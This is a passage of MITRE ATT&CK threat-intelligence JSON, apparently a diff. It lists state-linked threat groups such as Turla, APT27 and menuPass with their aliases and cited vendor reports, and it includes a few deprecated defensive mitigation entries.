2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html" + }, + { + "source_name": "FireEye TEMP.Veles 2018", + "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html " + }, + { + "source_name": "FireEye TEMP.Veles JSON April 2019", + "description": "Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html" + }, + { + "source_name": "Dragos Xenotime 2018", + "description": "Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019.", + "url": "https://dragos.com/resource/xenotime/" + }, + { + "source_name": "Pylos Xenotime 2019", + "description": "Slowik, J.. (2019, April 12). A XENOTIME to Remember: Veles in the Wild. Retrieved April 16, 2019.", + "url": "https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/" + }, + { + "source_name": "FireEye TEMP.Veles 2018 ", + "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html " + } + ], + "modified": "2019-04-29T18:59:16.079Z", + "x_mitre_version": "1.0", + "created": "2019-04-16T15:14:38.533Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Taidoor", + "description": "[Taidoor](https://attack.mitre.org/groups/G0015) is a threat group that has operated since at least 2009 and has primarily targeted the Taiwanese government. (Citation: TrendMicro Taidoor)", + "type": "intrusion-set", + "aliases": [ + "Taidoor" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--59140a2e-d117-4206-9b2c-2a8662bd9d46", + "external_references": [ + { + "external_id": "G0015", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0015" + }, + { + "source_name": "Taidoor", + "description": "(Citation: TrendMicro Taidoor)" + }, + { + "source_name": "TrendMicro Taidoor", + "description": "Trend Micro. (2012). The Taidoor Campaign. Retrieved November 12, 2014.", + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:31:52.018Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "The White Company", + "description": "[The White Company](https://attack.mitre.org/groups/G0089) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)", + "type": "intrusion-set", + "aliases": [ + "The White Company" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", + "external_references": [ + { + "external_id": "G0089", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0089" + }, + { + "source_name": "Cylance Shaheen Nov 2018", + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "modified": "2019-06-12T19:55:21.382Z", + "x_mitre_version": "1.0", + "created": "2019-05-02T00:08:18.314Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Threat Group-1314", + "description": "[Threat Group-1314](https://attack.mitre.org/groups/G0028) is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure. (Citation: Dell TG-1314)", + "type": "intrusion-set", + "aliases": [ + "Threat Group-1314", + "TG-1314" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "external_references": [ + { + "external_id": "G0028", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0028" + }, + { + "source_name": "Threat Group-1314", + "description": "(Citation: Dell TG-1314)" + }, + { + "source_name": "TG-1314", + "description": "(Citation: Dell TG-1314)" + }, + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ], + "modified": "2019-03-25T17:01:21.135Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:31:59.120Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Threat Group-3390", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMouse June 2018)", + "type": "intrusion-set", + "aliases": [ + "Threat Group-3390", + "TG-3390", + "Emissary Panda", + "BRONZE UNION", + "APT27", + "Iron Tiger", + "LuckyMouse" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "external_references": [ + { + "external_id": "G0027", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0027" + }, + { + "source_name": "Threat Group-3390", + "description": "(Citation: Dell TG-3390) (Citation: Hacker News LuckyMouse June 2018)" + }, + { + "source_name": "TG-3390", + "description": "(Citation: Dell TG-3390) (Citation: Nccgroup Emissary Panda May 2018) (Citation: Hacker News LuckyMouse June 2018)" + }, + { + "source_name": "Emissary Panda", + "description": "(Citation: Gallagher 2015) (Citation: Nccgroup Emissary Panda May 2018) (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)(Citation: Unit42 Emissary Panda May 2019)" + }, + { + "source_name": "BRONZE UNION", + "description": "(Citation: SecureWorks BRONZE UNION June 2017) (Citation: Nccgroup Emissary Panda May 2018)" + }, + { + "source_name": "APT27", + "description": "(Citation: Nccgroup Emissary Panda May 2018) (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)" + }, + { + "source_name": "Iron Tiger", + "description": "(Citation: Hacker News LuckyMouse June 2018)" + }, + { + "source_name": "LuckyMouse", + "description": "(Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + }, + { + "source_name": "Hacker News LuckyMouse June 2018", + "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.", + "url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html" + }, + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + }, + { + "source_name": "Gallagher 2015", + "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", + "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "modified": "2019-07-14T21:15:54.674Z", + "x_mitre_version": "1.1", + "created": "2017-05-31T21:31:58.518Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Thrip", + "description": "[Thrip](https://attack.mitre.org/groups/G0076) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as \"living off the land\" techniques. (Citation: Symantec Thrip June 2018)", + "type": "intrusion-set", + "aliases": [ + "Thrip" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "external_references": [ + { + "external_id": "G0076", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0076" + }, + { + "source_name": "Thrip", + "description": "(Citation: Symantec Thrip June 2018)" + }, + { + "source_name": "Symantec Thrip June 2018", + "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ], + "modified": "2019-03-25T17:06:36.989Z", + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)", + "aliases": [ + "Tropic Trooper", + "KeyBoy" + ], + "id": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "external_references": [ + { + "external_id": "G0081", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0081" + }, + { + "source_name": "Tropic Trooper", + "description": "(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)" + }, + { + "source_name": "KeyBoy", + "description": "(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper Mar 2018)" + }, + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + }, + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ], + "x_mitre_version": "1.1", + "modified": "2019-06-30T22:44:27.897Z", + "type": "intrusion-set", + "created": "2019-01-29T20:17:48.717Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Tropic Trooper", + "x_mitre_contributors": [ + "Bart Parys" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)\u2019s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017) (Citation: CrowdStrike VENOMOUS BEAR) (Citation: ESET Turla Mosquito Jan 2018)", + "aliases": [ + "Turla", + "Waterbug", + "WhiteBear", + "VENOMOUS BEAR", + "Snake", + "Krypton" + ], + "id": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "external_references": [ + { + "external_id": "G0010", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0010" + }, + { + "source_name": "Turla", + "description": "(Citation: Kaspersky Turla)" + }, + { + "source_name": "Waterbug", + "description": "Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug)" + }, + { + "source_name": "WhiteBear", + "description": "WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017)" + }, + { + "source_name": "VENOMOUS BEAR", + "description": "(Citation: CrowdStrike VENOMOUS BEAR)" + }, + { + "source_name": "Snake", + "description": "(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019)" + }, + { + "source_name": "Krypton", + "description": "(Citation: CrowdStrike VENOMOUS BEAR)" + }, + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "source_name": "CrowdStrike VENOMOUS BEAR", + "description": "Meyers, A. (2018, March 12). Meet CrowdStrike\u2019s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/" + }, + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + }, + { + "source_name": "Symantec Waterbug", + "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf" + }, + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "x_mitre_version": "1.2", + "modified": "2019-07-14T21:04:44.442Z", + "type": "intrusion-set", + "created": "2017-05-31T21:31:49.816Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Turla", + "x_mitre_contributors": [ + "Edward Millington" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. The group focuses on targeting Middle East defense and diplomats.(Citation: Lab52 WIRTE Apr 2019)", + "aliases": [ + "WIRTE" + ], + "id": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", + "external_references": [ + { + "external_id": "G0090", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0090" + }, + { + "source_name": "WIRTE", + "description": "(Citation: Lab52 WIRTE Apr 2019)" + }, + { + "source_name": "Lab52 WIRTE Apr 2019", + "description": "S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019.", + "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/" + } + ], + "x_mitre_version": "1.0", + "modified": "2019-06-20T15:30:38.517Z", + "type": "intrusion-set", + "created": "2019-05-24T17:02:44.226Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "WIRTE", + "x_mitre_contributors": [ + "Lab52 by S2 Grupo" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044). (Citation: 401 TRG Winnti Umbrella May 2018)", + "aliases": [ + "Winnti Group", + "Blackfly" + ], + "id": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "external_references": [ + { + "external_id": "G0044", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0044" + }, + { + "source_name": "Winnti Group", + "description": "(Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015)" + }, + { + "source_name": "Blackfly", + "description": "(Citation: Symantec Suckfly March 2016)" + }, + { + "source_name": "Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + }, + { + "source_name": "Kaspersky Winnti June 2015", + "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.", + "url": "https://securelist.com/games-are-over/70991/" + }, + { + "source_name": "Novetta Winnti April 2015", + "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.", + "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf" + }, + { + "source_name": "401 TRG Winnti Umbrella May 2018", + "description": "Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018.", + "url": "https://401trg.com/burning-umbrella/" + }, + { + "source_name": "Symantec Suckfly March 2016", + "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + } + ], + "x_mitre_version": "1.0", + "modified": "2019-03-25T17:15:03.267Z", + "type": "intrusion-set", + "created": "2017-05-31T21:32:08.682Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Winnti Group", + "x_mitre_contributors": [ + "Edward Millington" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "admin@338", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://attack.mitre.org/software/S0012), as well as some non-public backdoors. (Citation: FireEye admin@338)", + "type": "intrusion-set", + "aliases": [ + "admin@338" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "external_references": [ + { + "external_id": "G0018", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0018" + }, + { + "source_name": "admin@338", + "description": "(Citation: FireEye admin@338)" + }, + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2019-03-25T17:15:57.915Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:31:53.579Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017) (Citation: DOJ APT10 Dec 2018)", + "aliases": [ + "menuPass", + "Stone Panda", + "APT10", + "Red Apollo", + "CVNX", + "HOGFISH" + ], + "id": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "external_references": [ + { + "external_id": "G0045", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0045" + }, + { + "source_name": "menuPass", + "description": "(Citation: Palo Alto menuPass Feb 2017)" + }, + { + "source_name": "Stone Panda", + "description": "(Citation: Palo Alto menuPass Feb 2017) (Citation: Accenture Hogfish April 2018)" + }, + { + "source_name": "APT10", + "description": "(Citation: Palo Alto menuPass Feb 2017) (Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)" + }, + { + "source_name": "Red Apollo", + "description": "(Citation: PWC Cloud Hopper April 2017)" + }, + { + "source_name": "CVNX", + "description": "(Citation: PWC Cloud Hopper April 2017)" + }, + { + "source_name": "HOGFISH", + "description": "(Citation: Accenture Hogfish April 2018)" + }, + { + "source_name": "Palo Alto menuPass Feb 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "source_name": "Crowdstrike CrowdCast Oct 2013", + "description": "Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved March 1, 2017.", + "url": "https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem" + }, + { + "source_name": "FireEye Poison Ivy", + "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" + }, + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "DOJ APT10 Dec 2018", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + }, + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "x_mitre_version": "1.2", + "modified": "2019-06-28T15:24:31.395Z", + "type": "intrusion-set", + "created": "2017-05-31T21:32:09.054Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "menuPass", + "x_mitre_contributors": [ + "Edward Millington", + "Michael Cox" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", + "type": "course-of-action", + "name": ".bash_profile and .bashrc Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--4f170666-7edb-4489-85c2-9affa28a72e0", + "external_references": [ + { + "external_id": "T1156", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1156" + } + ], + "modified": "2019-07-24T14:02:53.251Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.", + "type": "course-of-action", + "name": "Access Token Manipulation Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6", + "external_references": [ + { + "external_id": "T1134", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1134" + }, + { + "source_name": "Microsoft Create Token", + "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object" + }, + { + "source_name": "Microsoft Replace Process Token", + "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token" + } + ], + "modified": "2019-07-24T14:29:27.367Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Accessibility Features Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8", + "external_references": [ + { + "external_id": "T1015", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1015" + }, + { + "source_name": "TechNet RDP NLA", + "description": "Microsoft. (n.d.). Configure Network Level Authentication for Remote Desktop Services Connections. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc732713.aspx" + }, + { + "source_name": "TechNet RDP Gateway", + "description": "Microsoft. (n.d.). Overview of Remote Desktop Gateway. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc731150.aspx" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": 